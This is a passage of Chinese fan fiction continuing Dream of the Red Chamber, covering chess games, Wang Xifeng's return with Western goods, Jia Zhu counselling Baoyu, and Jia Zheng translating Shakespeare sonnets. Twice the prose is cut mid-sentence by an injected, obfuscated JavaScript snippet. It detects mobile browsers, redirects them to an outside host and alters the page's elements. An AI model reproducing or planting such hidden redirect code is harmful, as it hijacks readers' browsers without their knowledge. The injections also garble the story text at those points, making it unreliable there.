“何须这样悲观呢?”林如海劝道。 “大船倾覆前,无论说什么做什么都叫不醒任何人,唯一能做的就是跳船,或者大家一起死···”贾政的声音很低。 “圣上还留着贾家,无非是想看看还能有多少用处。与其日后被人捅到圣上眼前,不如想个办法,釜底抽薪的好···”贾政回过神来,又道。 “若是圣上有意要将两府一并处罚,那可如何是好呢?”林如海问道。 贾政却笑了,轻声道“最坏的结果不过也是一起淹死罢了。”话锋一转,又自信说道“只是我以为圣上并不着急处理贾家的事···” “存周这样冒险恐怕不妥当,到时我也无能为力的···”林如海真心为贾政考虑,就有些忧虑。 “只是现在只有这样冒险的办法了···”贾政又道。 忽然听到一阵笑声,贾政猛地回头看去。原来是黛玉和探春从花丛中走了出来。 “舅舅和父亲好不容易休息一日,还要谈公事吗?总该放松一阵的。”黛玉行过礼,又说道。 “父亲,咱们去放风筝好不好?二哥哥放得不好,还总是绊我!”探春也道。 贾政和林如海相视一笑,各自牵了女儿向花园中间走去了。 在林府用过午饭后,贾母就有些疲惫,贾政和王夫人就先陪同贾母回了家。孩子们仍有些恋恋不舍的,想用过晚饭再回去。 秋日的午后总是舒适的。宝玉和黛玉在桂花树下读书,英莲在教袭人写字,探春和惜春正在下棋,迎春坐在惜春旁边看着,暗中指点几句。 惜春在迎春的提示下,吃了探春几子,探春便故作恼怒,笑道“二姐姐耍赖!”说罢,还煞有介事地哼了一声。 惜春搂住迎春手臂,半个身子靠着她,撒娇道“二姐姐才没有耍赖呢!三姐姐输不起就说自己输不起罢了,却平白诬陷二姐姐!” “总之我不与你计较,让我仔细想想下一步怎么走!”探春虽如此说,但还是手在脸上画着圈儿,故意羞迎春和惜春。 探春拿起一枚白子,正准备落子时,忽然有人拿去了她手中的棋子,下在了探春本意选中的位置。探春只顾回头看来人是谁,可那人一个闪身,探春回头找了个空。 待探春转过身来,便看到史湘云站在了迎春身侧,正笑吟吟看着她。 “好你个湘云,在背后抢人的棋子算什么本事呢?不如咱们两个正大光明来上一盘!”探春指着湘云笑道。 “好极好极,我给二位姐姐让座。”惜春说罢,便起身坐到了迎春旁边,仍是紧紧抱着迎春手臂,看着探春和湘云笑。 “我要和二姐姐下棋,才不和你下棋!”湘云也故意打趣探春。 探春哼了一声,起身走到湘云旁边,只是看到湘云眼底的青黑,心里准备好的打趣话也就说不出来了。探春便拉着湘云也坐了下来。 “哈!终于有人能降服三姐姐了!”惜春却拍手笑道。 探春并没在意,只是轻轻扶着湘云的手臂,柔声道“这些日子肯定过得很艰难吧···” “在家里日日想着姐妹们,不知道何日能见上一次!今日幸亏太太打发人去接我来这里玩呢!还说让我多住几日!”湘云听懂了探春话里的含义,却并没有回答,只自顾自说着对姐妹们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15173655|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的想念。 迎春也笑道“湘云总是这样心宽···” 湘云听了,便看向迎春,低声问道“二姐姐现在还疼吗?”口气很是小心翼翼,她虽有心理预期,但是看到迎春只能半靠在榻上,心里也很难受,又怕问出口惹得迎春难过,又不想假装毫不关心。 迎春摸了摸自己的右腿,便轻笑道“早不疼了,只是行动不太方便。” “二姐姐,我才应当佩服你呢!这样看得开···”湘云由衷赞叹道。 “你和三妹妹下盘棋好不好呢?我和四妹妹观战!”迎春建议道。 湘云看向探春,笑道“长幼有序,我让三姐姐执黑棋。” “多谢多谢!”探春也不推辞,已经开始分棋子了。 此时黛玉和宝玉的相处,却不复往日的愉快。黛玉总感觉宝玉闷闷不乐的。 “宝玉,你有什么心事吗?”黛玉看到宝玉手中的诗集,一直停留在同一页,便开口问道。 宝玉回过神来,先是笑了笑,便道“没什么,只是有点走神。” “你若是在这里无聊,不如咱们去找三妹妹她们下棋去?”黛玉很是体贴道。 “这样挺好的···”宝玉这样说了,黛玉反而疑惑更多,便问道“是不是我那日说的话让你不开心了?” “并不是那样,林妹妹你不要放在心上才是!我怎么会因为你说的话不高兴呢!”宝玉说罢就合上书本,站了起来,又笑道“不如咱们去折花吧!” 黛玉笑了笑,没有起身,说道“你去吧,我有些累了,想去看看二姐姐她们。” 宝玉也没有勉强,自己走了,只留下黛玉在原地看着他的背影叹了口气。 在黛玉心里,她也觉得自己和宝玉越走越远了。只是两个人都不想承认这一点,却难以做到像之前那样亲密无间了。 青梅竹马的两个人如果在成长过程中的进度不一样的话,就会产生隔阂。他们两个的隔阂早已产生,如果没有人想要弥补的话,距离只会越来越大。 黛玉因为想要弥补,所以一直迁就着宝玉的想法,而宝玉的心思呢?黛玉并不清楚,她再也不敢说自己足够了解宝玉了。 英莲自从在扬州和宝钗黛玉学作诗学写字以来,已经有了很大的进步。不仅书法写得可以一看,诗词也大有进益。 因与袭人在扬州朝夕相处,况且袭人是个极其温和包容的性格,英莲与袭人竟然如同姐妹一样亲密了。英莲自己从诗歌中获得了心灵的滋养,也想让袭人也体会到其中的美妙,便自告奋勇教袭人读诗写字。 能与英莲学写字,袭人自然也很是高兴。只是平日里要在宝玉处服侍着,也只有很少的机会和英莲学习,她自己就很珍惜重视这样的闲暇。 袭人坐着写字,英莲弯着腰,右手握住袭人的手,教她如何运笔。午后的阳光斜射在二人的身上,她们都很专注。 “啊呀,坏了!”袭人蘸多了墨汁,好好的一个“花”字,糊成了一团。 英莲忙放下手中的茶杯,笑道“小事而已,咱们重来一次就好了。说罢,她又握住袭人的手,教她如何蘸墨汁。 袭人有些不好意思了,便轻声道“我是不是有些笨呢?这样简单的事,都教了两次了!” 英莲并没回答,认真握着袭人的手,二人一起蘸好了墨,又带着她写好了“花”字,这才直起身说道“刚开始学都是这样,那会儿宝姐姐也教了我许久。慢慢学就好啦,咱们有的是时间呢!” “说起这个,怎么今日不见宝姑娘呢?”袭人一边写字,一边问道。 “家里有事要她来办,所以今日没来,好像从金陵来了个客人。”英莲解释道。 “怪不得姨太太也没来呢!”袭人又道。 袭人又将“花”字写了十遍,这才放下了笔,起身舒展了一下腰背,又笑道“写字确实挺累的,怪不得宝二爷不喜欢读书呢!” “咱们去看看二姐姐她们吧!”英莲给袭人倒了杯茶,看她喝过了,又笑道。 此时探春和湘云对弈正酣,二人浑然忘了周围的人,只盯着眼前的棋盘。忽听得有人“哎呦”一声,又道“原来你们都在这里下棋呢!怪不得四处找不到人呢!” 79.正是橙黄橘绿时 探春和湘云并没有分神去听来人说话,仍然紧盯着棋盘,又听到黛玉笑道“原来是凤姐姐大驾光临!实在是有失远迎啊!” “凤姐姐,你终于回来了!”听到来人是王熙凤,湘云立刻起身,三两步走到王熙凤身边,就拉着她手臂上下看着。 宝钗与王熙凤一同走来,留下王熙凤与探春湘云黛玉叙旧,她自己坐到了迎春旁边。 王熙凤还在贾府时,与妯娌姐妹们关系都很融洽,也是真心关爱过这些妹妹们的。如今重逢,身份已然不同,况且各自都经历了巨大的变化,很难不让人感慨。 叙旧一番后,王熙凤也来到迎春身边问候了几句。只是迎春的变化让王熙凤却很惊讶。 往日王熙凤虽有心照拂迎春,但无奈迎春从来不会对别人诉说自己的苦处,王熙凤便照料不到。 今日到了薛家,她已从薛姨妈和宝钗处听说了迎春断腿的事。王熙凤本以为迎春会是闷闷不乐的愁容满面,却没想到迎春竟然比从前还要开朗几分。这实在是一件奇事。 “我当是谁闹出这么大的动静,原来是凤丫头!”忽然又有一女声说道。 王熙凤不用特意去看,就知道是尤氏来了。 “有远客到来,你怎么推脱到现在才来呢?”王熙凤也笑着回了一句。 尤氏说话间已和李纨走了过来,她先是仔细端详了王熙凤的神情容貌,这才坐了下来,就叹道“哪像你来去自由的!我们总被许多事情绊住脚呢!” “你哪里知道这半年来我有多忙碌呢?”王熙凤又道。她们二人即使日常说话也要开几句玩笑。 “说说吧,忙什么去了?”尤氏便配合道。 “就是啊!凤姐姐快说说遇到什么好玩的事了!”湘云也附和道。 “少不得给你们说一两个了!”王熙凤笑了笑,便开始思考从何说起。 此时英莲和袭人也走了过来,看到其他人都围坐着听王熙凤说话,便也坐到了宝钗旁边。 “我在泉州遇到了好多金发碧眼高鼻深目的外国人!”王熙凤忽然抬高了声音。 湘云便好奇问道“他们说什么话呢?” “叽里咕噜一大串,我哪里听得懂?”王熙凤便笑道。 探春轻轻拽着湘云的袖子,轻声道“仔细听凤姐姐说话嘛!” “泉州真不愧是最大的港口,来往的船只工人都是好多地方的,不仅长相与我们不同,说话做事也完全不一样。我刚到那里时,真是费了一番脑筋,才能和他们谈成一笔生意!”王熙凤又道。 “没有平儿和底下的管事帮你吗?”尤氏也问道。 王熙凤捏了一下尤氏的脸颊,笑道“你和湘云都好啰嗦,不能等我说完吗?” “这不是为了配合你吗?”尤氏拍掉王熙凤的手,自己也在她脸上报复地捏了一下。 “再不提平儿了,你们看,刚才她和我们一同过来的,现在却不知道去了哪里?”王熙凤笑骂了一句,又继续说道“平儿也确实能干,你们绝对想不到,她现在竟然能将外国话说得极顺!” “虽然有两个管事也会说外国话,但外国话种类那么多,哪里可能样样精通?平儿这丫头竟然自己想办法,学会了谈生意时常用的一些话,什么西洋话南洋话东洋话都能说上几句!” “我还笑她呢,现在简直是个假洋鬼子了!洋人见她能说外国话,总少不了对她献殷勤的!”王熙凤笑罢,便看到宝玉和平儿向这边走了过来,就不再说了。 湘云拍手笑道“也许平儿姐妹日后找个洋人姐夫呢!” 平儿突然听到湘云这样说,便有些摸不着头脑,又微微红了脸。 黛玉拽着湘云的衣摆,向她身后指了指。湘云这才不好意思地捂住嘴巴,起身笑道“平儿姐姐你怎么才来啊!我们都等你好久了!” “平姑娘快坐过来吧,和姑娘们讲讲你遇到的那些趣事!”王熙凤拉着平儿坐到她旁边,自己又给她倒了杯茶。 “我哪知道这些呢?况且又笨嘴拙舌的,还是姑娘给大家说些听吧!”平儿面对这些小姐们,毕竟有些羞涩,也不便这样表现自己。 “你这样伶牙俐齿的,快不要谦虚了!”宝钗也难得打趣平儿。 “平姐姐快说说吧,你看将湘云急成什么样了?”探春指着湘云又笑道。 湘云听了,就笑道“好姐姐,不要吊我们的胃口了,好不好嘛!” 平儿也不再犹豫,便捡了一件事说道“洋人说话都很直接。有一次姑娘要和一家英格兰的商号谈事,那也是姑娘第一次和洋人直接交涉。结果这个洋鬼子一上来就将姑娘好生赞美了一遍,简直是从头到脚的赞美···” “让你说正事,怎么还来打趣我了呢!”王熙凤在平儿的左肩捶了一下佯怒道。 “姑娘不是说不在意这些了嘛,我就想着说说也无妨的。”平儿柔柔笑着,很耐心地等王熙凤回答。 王熙凤没了脾气,便低了头喝茶,没再理会。 “不仅如此,那个洋鬼子谈起价格也很直接,总之什么事情都要在平面上说了。这样虽和咱们的形式习惯不太一样,但在生意上却也简单爽利。”平儿又补充道。 “这正投了我的脾气!我最讨厌弯弯绕绕的了!”湘云拍手笑道。 “西洋人是很爽利的,有话就直说,只是东洋人却又是另一种样子了···”平儿朝湘云说道。 “做件生意却要和天南海北的人打交道,想一想就很复杂,却有许多趣味!”黛玉也笑道。 “往日我让你帮我打理生意,你却还推三阻四不要帮忙呢!”宝钗却也打趣黛玉,又看着湘云和探春说道“不如以后我忙不过来,便请你们两位来帮我吧!” 这边湘云和探春都点头称是,黛玉立刻走到宝钗身旁,弯了腰搂着她肩膀,讨好道“我以后再也不那样说了,宝姐姐饶我一次吧!”说罢,还轻轻晃着宝钗。 宝玉看到她们姐妹其乐融融,自己心里却有些难过起来。又想到方才和平儿一番谈心,又是默默叹了一口气。 “说来说去,你们就没带点东西回来吗?”尤氏向王熙凤露出右手。 王熙凤笑着拍了一下尤氏的右手,又道“我们今日才到的京城,就已经赶过来要见你们了,哪里来的及分东西呢?” 平儿忙补充道“带的土产都在薛家姑妈处,待明日整理好了再一一送来。” 王熙凤此次进京,是住在薛家在京的一所宅子里。薛姨妈和宝钗因贾政与王夫人的挽留,便还住在荣府的梨香院。 “要不是好东西,我可看不上的!”尤氏仍笑看着王熙凤。 “哎呦!我哪敢把什么破烂玩意送到姐姐那里呢!”王熙凤环视一圈,视线又停留在尤氏身上。 “这还差不多!”尤氏说罢,起身亲自端了果盘放到王熙凤跟前,又拈了一颗葡萄喂给她。 “真真你们这两个,半年不见了,一见面又免不了唇枪舌箭一番!”李纨也被王熙凤和尤氏逗得直笑。 “平姐姐,你们带了什么有趣的玩意呢?先告诉我好不好!”探春掩盖不住好奇心,又问道。 “有一些玻璃制品,玻璃做的屏风棋盘什么的,还有各种乐钟怀表,一些丝织品,还有几个望远镜,就是俗称千里眼的,可以看到数丈外的东西···”平儿仔细回想着。 “我想要一架望远镜!”湘云突然道。探春却说“有什么书籍吗?” 平儿想了想,回道“姑娘和我都不懂这些,随意带了一些英格兰的书,只是都是洋文写的,恐怕小姐们看不懂,所以数量不多。” 黛玉却笑道“你们绝对想不到有人家里有一厚本英格兰文的词典···” 探春立刻道“宝姐姐,是不是你那里有呢?” “就知道什么都瞒不过你们!”宝钗在黛玉和探春的眉心各自点了一下,又道“凤姐姐给我也带了好多东西,到时你们都去我那里挑吧!” 说到这里,英莲也有了兴趣,她问道“英格兰人也会写诗吗?不知道和咱们的诗比起来如何呢?” 黛玉笑道“他们自然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178282|160862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也写的,虽然与咱们的大不相同,但也有许多好诗呢!” “林姑娘读过吗?我也想读一读呢?只是不知道能不能看懂。”英莲笑道,又看见黛玉悄悄向她指着宝钗,英莲又将满含期盼地目光投向宝钗。 宝钗笑叹一口气,说道“真是服了你们了!一个个都这样古灵精怪!” 英莲看宝钗这样反应,就知道她是默许了,又走到平儿身边问道“平姐姐,你既然会说外国话,应该也能读懂一些吧?教教我们好不好呢?” 平儿有些害羞地低了头,又道“我也只能看得懂很少的部分,怎么敢教你们呢!” 探春立刻明白平儿在谦虚,便打趣道“平姐姐就心疼一下英莲吧,你看她那么少言寡语的人,也只有说到诗歌才能多几句话呢!” “和袭人也有说不完的话。”黛玉补充道。 平儿被这样劝说,便点头同意了。而英莲也没有在意自己被打趣,脑中只想着一会儿回到家就去和宝钗借词典。 姐妹重逢,总有说不完的话。晚饭便在林府的花厅里摆了两桌,因都是姐妹姑嫂,互相并无大多需要顾忌礼法的。众人吃罢,又是说说笑笑,吟诗赏月。 忽听得一阵从没听过的乐声传来,与之相和的也是陌生的器乐。姐妹们心中纳罕,却又沉醉在月色下的音乐中,都很专注。 一曲结束,黛玉就看到王熙凤在那里偷笑,心下了然,便问道“肯定是凤姐姐找的西洋乐师!” “这是什么乐器演奏的呢?”湘云也问道。 王熙凤故作神秘,笑道“我将她们叫出来,你们看看再说。”说罢,便让平儿叫人。 一会儿,走出来两个汉人女子,只是她们手中拿的乐器都很奇怪。 湘云还伸手拨了一下,就笑道“琴不像琴,更不是笙箫,我哪里猜的出呢?” 黛玉也来了兴致,她会弹古琴,此时见了难免要动手试一试。便问了乐师,得到允许后,才接过来,试着以古琴的方式拨弄了几下,就笑着停下了“确实不好弹奏。” 王熙凤也不再卖关子了,就让乐师解释一下。 “姑娘手中这个叫做小提琴,并不是直接用手弹奏的,需要用上这个。”乐师将手中的琴弓递给黛玉看,又演示了如何持琴,如何演奏。 “这是班卓琴。”乐师又道。 湘云立刻拍手笑说“这像是琵琶呢!”探春也道“的确与琵琶很像,只是不知道又是怎样演奏的呢?” 乐师便补充道“与琵琶类似,只是声音和演奏方式不太相同。”说罢,又试弹了一下。 众人都觉得很是新鲜有趣,便点了几首传统琴乐,让乐师用这两件乐器演奏。 此时月上中天,林府花园中只听得姑娘们的欢笑声和悠扬婉转的乐声。在这样如诗如画的时节,也只有她们可以安心享受如此静好的时光。 王熙凤还要在京城待一段时间,所以今日分别,姐妹们也没有很伤感。虽不能日日在贾府相聚,但是在薛家,总有见面的机会。 黛玉接连几日看到宝玉闷闷不乐,他也不愿意说什么,反而惹得黛玉也很担忧。只是毕竟男女有别,他们如今的年龄也不好成日厮混在一起,黛玉就不好太过频繁去宽慰宝玉。 宝玉也懒得去学堂读书,每日只待在屋子里,折腾一些小玩意。这日,他正拿着贾政带回来的突厥小刀,雕刻一截黄花梨木。他打算给黛玉做手串用。这些日子,他虽意识到黛玉和自己的隔阂,但自己心里有事想不清楚,便在相处时显得冷淡了些。 此时宝玉手中静静躺着二十多颗珠子,他便起身拂去了衣服上的碎屑。雕刻真是件辛苦事,只是相比读正经书,宝玉反而更喜欢这些看起来是“歪门邪道”的事情。 他不敢再直接与黛玉这样说,更不敢拿这些事去问父母。 此时一个人的道来竟然让宝玉生出了“幸好是他”的想法,心里有无数的想法等不及要诉说。 “姐妹们都在太太那里,你怎么一个人待着呢?”宝玉听到来人这样说道。 80.少年不识愁滋味 "大哥哥,这边坐。"宝玉起身对贾珠行过礼后,又与他一同坐了下来。 宝玉手中不停转着茶杯,想着如何开口。 “我也看出你近日来满腹愁绪,若有什么事情困扰,不妨与我说说。也许多少能帮你开导一些。”贾珠笑道。 宝玉又犹豫一会儿,才道“大哥哥,如果我真的不想读书不想考学,要怎么办呢?” “这个问题可不是那么容易说清楚的。”贾珠说罢,看宝玉神情苦恼,又道“我先问你,你可曾认真去上过几天学呢?” 宝玉听了,立刻便红了脸,低声道“之前在学堂我总是懒怠去听,后来更没有上过几天学了···” “那么你能清楚自己讨厌的究竟是读正经书,即你所谓的经世致用的学问,还是不喜欢听那些夫子们讲课呢?”贾珠又问道。 宝玉刚想回答又止住,他又想了片刻才摇了摇头说道“我也不清楚···”,又道“只是在扬州时我和姐妹们去的两所学堂都很有趣,两位先生所教的我也都很喜欢。” “他们所教的内容想必也有不少正经学问吧?”贾珠又道。 宝玉点点头,才道“只是我当时也没有认真去学习那些东西,只顾上玩乐了···”说罢,又叹道 “这些日子以来,许多杂乱的思绪在我脑中纠缠,让我很是苦恼!” “依我看呢,你不如先将你以为自己讨厌的东西先深入了解之后,再来判断要不要去学。”贾珠劝道,看宝玉又要说话,便摆手道“我的意思并不是要强逼你做什么···” “你身为男子,毕竟是有一些家族的责任在身上的,这一点你应该认同吧。”贾珠笑道,忽然想起了曾经贾政劝自己的话。 宝玉却有些不以为然,说道“哪有什么责任呢?” 贾珠也不恼怒,又道“如果你一心认为人活着,只需享乐,那么我想你今天也不会苦恼了。” “也许是吧···”宝玉低声道。 “所以你心里总还是想做些什么的。既然有这样的想法,你就应当将那些正经事都试一试,再说自己究竟喜欢与否。你不能全凭着一点点的道听途说的了解,就给那些正经事都判了死刑。我说这个,你能明白吗?”贾珠停了下来看宝玉神色。 “大哥哥你继续说罢,我听着呢。”宝玉道。 “古往今来多少文人墨客,他们的才华是何等出众,但他们中的大多数人仍然选择了去做正经事,这就说明其中不是你想的那样,全无可取之处。” “而如果你完全放任自己,耽于享乐,只怕日后心智成熟了,你也会抱怨少时的自己,为何没有在某一方面多下一些功夫。” 贾珠说到这里,看宝玉只低头沉思,便又道“拿我做比方吧,我虽然之前立志考学,后来因为种种原因没有走那条路。但十多年求学过程中所读过的经书,思考过的问题,在如今我仍然没有完全放弃。因为那些东西不只是在考学中有用,更重要的是,如果你想修炼身心,不断地磨练心智,那么也应当去读正经书,做正经事···” “若是我试过了,仍然不想去做那些事呢?”宝玉又问道。 “我想假若你真的努力过了,想必父亲也会理解你的。”贾珠笑道。 “不仅如此,你在这个过程中也就更能理解自己了。” 宝玉一时间听了这么多往日很排斥的话,更是思绪杂乱,只迫切想找到一个出口,或者被谁点化,便急切道“大哥哥,你告诉我好不好!人人都要经历这样的过程吗?” 贾珠笑着摇了摇头,答道“不是每个人都必须这样的。我方才说的那些话也只是为了你着想。你不要听了这句话就皱眉。你可以去听听那些人到中年的饱学之士的话,或者去问父亲,去问林姑父,看他们如何劝你的。” “人在心智不成熟时,总容易固执己见并且判断错误,这是更古不变的道理。”贾珠又补充了一句。 宝玉忽然也叹口气,喃喃道“也许吧,也许我也去那样试一试,也许我压根不愿意去试呢···” 贾珠看宝玉呆呆的,便双手扳着他的肩膀,直直看着宝玉的眼睛,才正色道“人总是要不断磨练心性的,你如果总是放任天性去做事,以后的路别人都帮不到你。如果以后你也能认为自己毫无遗憾,那我做哥哥的,自然为你高兴。” 贾珠说罢,便摸了摸宝玉的头,关怀道“不如去太太屋里与姐妹们玩笑一会儿?”之前贾珠和李纨也在王夫人处,看到宝玉不在,他便自告奋勇来找宝玉。 宝玉摇了摇头,答道“大哥哥你去吧,我还想自己自己待一会儿···” “若还有想不通的,就随时来找我。”贾珠也不勉强,叮嘱了一句,就离开了。 当日孩子们齐聚在王夫人处,是因为王熙凤托宝钗将自己带的土产拿了过来。她自己不方便出面,只好让宝钗与王夫人帮忙分发。 王熙凤虽然一份份写好了单子,但也叮嘱过了另有一些全凭她们的喜好挑选,姑娘们便兴高采烈地挑选着自己喜欢的东西。 此时黛玉看到本来去找宝玉的贾珠独自回来,心里不免担忧起宝玉来。 王夫人也道“宝玉怎么没有来呢?” “他说有点困了,在屋里睡觉呢!我就没有打扰他。”贾珠解释道。 “二哥哥的东西一会儿我去给他送过去。”探春挽着王夫人手臂,笑着说道。 “着什么急,宝玉晚上总要来请安的,到时让他自己带人来拿就是了。”贾政此时坐在炕桌前靠着,就说道。 贾政说完,看到王夫人并没有什么反应,又道“凤丫头不是拿了英格兰文的书籍来吗?拿出来我也看看。” 此时,那几册书正在黛玉湘云和英莲手中。黛玉听了,就将自己那本递给了贾政,还笑道“我翻了半天可是一个字都读不懂呢” “我读一首给你们听听,怎么样呢?”贾政边翻书边说着。 湘云立刻凑到贾政身旁,又道“这好极了!老爷快选一首!” “只是最好读过之后再用我们听得懂的话解释一遍,这才是雅俗共赏呢!”探春也笑道。 宝钗本来一直安静坐着,此时难免补上一句“只是我们都听不懂,也就不知道姨夫读得对不对了···” 话音刚落,黛玉就拽着宝钗的手臂,向王夫人道“舅妈,宝姐姐没大没小的,快打她的嘴!”说着话,就牵着宝钗带到了王夫人面前。 “宝丫头不过一时嘴快,哪里就值得打嘴了呢?”王夫人笑了笑,却摸了摸黛玉和宝钗的头,又道“况且是老爷爱惯着你们的,我可不敢管呢!” “这话很有道理,”贾政笑着摸摸下巴,又面向王夫人说道“既然是我惯的,若说要罚,也应当先罚我才是。” 王夫人没忍住红了脸,又不好分辨,便说道“老爷还是快读书吧,孩子们都等不及了!”,说罢,自己掀帘走了出去。 贾政忽然读了一句英文,众人虽没有听懂,但看他念时一直望着走出去的王夫人背影,也都猜到了三分,反而都不好问了。 只有英莲一心想弄清楚,便道“姨夫,这是什么意思呢,我可一点都没有听懂。” 贾政难得红了脸,也觉得自己方才有些冲动,只好用书半遮着缓解尴尬。 宝钗轻轻拽了拽英莲的袖子,又凑到她耳畔说了句话。 “都坐过来这边,”贾政翻开书,指着刚才读的一页,解释道“这本书是英格兰的作家莎士比亚写的,这一本是他的诗集···” “之前的威尼斯商人也是他写的!”探春立刻想到了贾政先前抄录的这本书。 贾政笑道“探春的记性总是这样好!”,又将书放到炕桌上,说道“英格兰流行的诗歌形式是十四行诗,就类似于你们常作的五言绝句或者是七言律诗···” 贾政简单讲了几句莎士比亚诗的题材和特色后,就照着书读了一篇,他所选的是描写夏日的一首。 读过之后,又用汉语翻译了一遍,以便她们理解。 “虽然体裁奇怪些,但其中意境却很有趣···”湘云听罢,开心笑道“虽然我们也会表达类似的意思,却与他着笔之处完全不同。” “美的事物总要凋零,但是你的永恒之夏永不褪色···”英莲轻声复述了一句,又赞道“真难为他想的,细品之下,真是另有哲思!” “颦儿怎么不点评几句呢?”宝钗看黛玉低头思考,便轻轻推了推她的肩膀。 “我想林姐姐必然是在口中默读那首诗吧!”探春指了指黛玉,又笑道“莎士比亚的诗歌和小说,可真是各有各的好呢!” “姨夫再读一首好不好呢?”英莲有些不好意思地说道。 贾政却道“我将这整本书都翻译一遍,这样你就都能看得懂了,如此可好?” “再没有更好的了!”湘云立刻拍手赞同,她与英莲是最喜欢诗歌的,其中痴心比起黛玉也不逊色。 “只是要辛苦姨夫了!”英莲虽很高兴,却有些担心麻烦贾政。 “父亲最喜欢姨妈家做的一种杨梅点心,你若是每日带一盘来,我想父亲甚至愿意将这几本都翻译一遍呢!”探春所说一半是开玩笑,一半是想让英莲不要有负担。 贾政听了便点头笑道“每日一盘杨梅酥,我可以翻译两首诗。”说罢,又觉得不够,竖起两根手指,改口道“还是两盘吧,自己吃一盘,一盘送人。” 一句话又惹得孩子们大笑。 贾政既然做了承诺,自然很是上心。何况孩子们又都喜欢这些诗,他更拿出了十足的力气,想翻译得更好一些。只是他自己诗词水平一般,原作又是英文诗,翻译起来便总觉得生涩。 他立刻想到找探春帮忙。贾政每日从衙门回到家,晚间便和探春一起在书房研究怎么翻译诗歌。探春也很喜欢与父亲讨论这些东西,因为贾政总会额外讲一些莎士比亚的其他作品,或者是其他国家的作家。 这样一个多月下来,探春自己 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虽然有父亲支持,只是她如今也到了该出嫁的年纪,难道真的可以不嫁人,而去外面游历吗?父亲真的能支持到这一步吗?家里的其他人又会怎么想?外面人又会怎么想?害了二姐姐的不就是流言吗?难道她自己真的敢直面流言蜚语吗? 想到这里,探春也不由得没有了头绪。只是毕竟得到了父亲的保证,心里也明朗几分。 贾政并不是突然冒出这样的想法。他对子女的态度一直是希望她们能实现各自的志向。这其中若有什么艰难险阻,他肯定要一直走在前面,帮助她们阻隔那些困难,尽量不要让她们被困住。 他希望自己爱的人都可以活得更自在一些,孩子们年纪还小,有足够的时间改变。而王夫人却是受限最深的那个人。她半生都被束缚着,一时半会哪里可以彻底变个样子? 改变需要时间,需要耐心,和足够细腻长久的感情支持。 每日晚间躺在床上,贾政总要和王夫人絮絮叨叨聊一些事情才能入睡。说些什么并不重要,贾政享受的是夜深无人闲话家常的亲密。他们的感情存在于最平淡的日常生活中,也在这样的生活中变得更深。 在一次次遇到烦恼,危险时,贾政最先想到的就是夫人和孩子们在等他回家。如果他出了事,家人会担心难过,寝食难安。 “夫人,你知道我在西北道的时候每日想些什么吗?”贾政忽然轻声问道。 “应该是在想如何才能取胜吧!”王夫人回道,她靠在贾政怀里,手指不停摩挲着贾政肩膀处的伤疤。那是在西北道时被突厥王妃用飞镖射中后留下的疤。 贾政在黑暗中摇了摇头,又轻声道“夫人每日梳洗时在镜中能看到什么?” 王夫人被问得有些奇怪,不知道如何回答。 “我所想的就是夫人在镜中看到的。”贾政说罢,便双手抱紧了夫人。 王夫人忽然问道“老爷这里还疼吗?” 贾政略微一愣,才回道“都过去两个多月了,已经好得差不多。不过时而觉得有些发痒罢了···” 王夫人悠悠叹口气“这就是王妃的聪明之处了···” “何以见得?”现在轮到贾政觉得奇怪了。 “起初伤口疼痛时,老爷会想到当日被刺伤的情形。日后哪怕结疤了,时而犯痒,也就自然会想起那日,那人···”王夫人轻声道。 贾政感到心头一颤,从心底升出一种喜悦和痒意,更甚于伤口处的痒。 王夫人从来没有在他跟前表现过任何一点嫉妒或者酸涩的情绪,因为她前半生的行事准则就是做一个合格的贤妻。 她没有暗中打压过赵姨娘,也没有时刻盯着贾政身边的丫鬟。甚至在扬州时,她还因为担心贾政身上有伤,她照顾不到,亲自领来几个丫鬟想让贾政带在身边。 贾政一直以为王夫人是不会嫉妒的,不仅不表现在明面上,而是她从没有过这样的想法。她的爱仿佛无私极了。 而此时,王夫人竟然突然提起了远在突厥的王妃,这个贾政已经快要遗忘的人。话语中还有一些似有若无的酸涩。 黑暗中,贾政看不清夫人此时的神情,但他可以猜得到。夫人定是低垂着眼眸,轻抿着双唇,有些委屈了。 贾政忽然低了头,在夫人颈畔轻咬了一下,又问道“痒不痒?” 他见王夫人没回答,心里反而很是雀跃。又将头靠着夫人的肩膀,读完了那首诗的最后一句: “只要这世间仍有人吟诵我的诗篇,这诗就将不朽,永葆你的芳颜。” “老爷有时说的话很艰涩,我可一点也听不懂。”王夫人轻笑着,为二人掖紧了被子。 “那我以后说得更直白些,好吗?”贾政闭着眼睛轻声说道,他的拇指轻揉着夫人颈畔被他咬过的那块皮肤,有轻微的牙印。 王夫人却再没说话了。 81.长恨此身非我有 西北道战事了结后,又过了两个月,王子腾也回了京城。据传,他是被御史参了。此次回京,自然是向皇帝谢罪的。虽没有丢了九省检点的职位,但这样特地召回京城,当面责骂,仍是很没有脸面的事情。 先前史鼐殉职,皇帝没有追封。如今真相大白,史鼐并无任何渎职的问题,皇帝也就事后赐了个谥号,又对史家人赏了些东西,宽慰了几句。 只是史家如今的家主三老爷史鼎,却一心要辞官回乡,皇帝也没有阻拦,很痛快地答允了。这在他人看来,却是个耐人寻味的信号。也许皇帝对四大家族的厌恶,并没有到欲杀之而后快的地步。 史家决定年后搬回金陵,贾政对此是满心赞同的。只是贾母叹息了一回,也许是看到了贾家的未来。 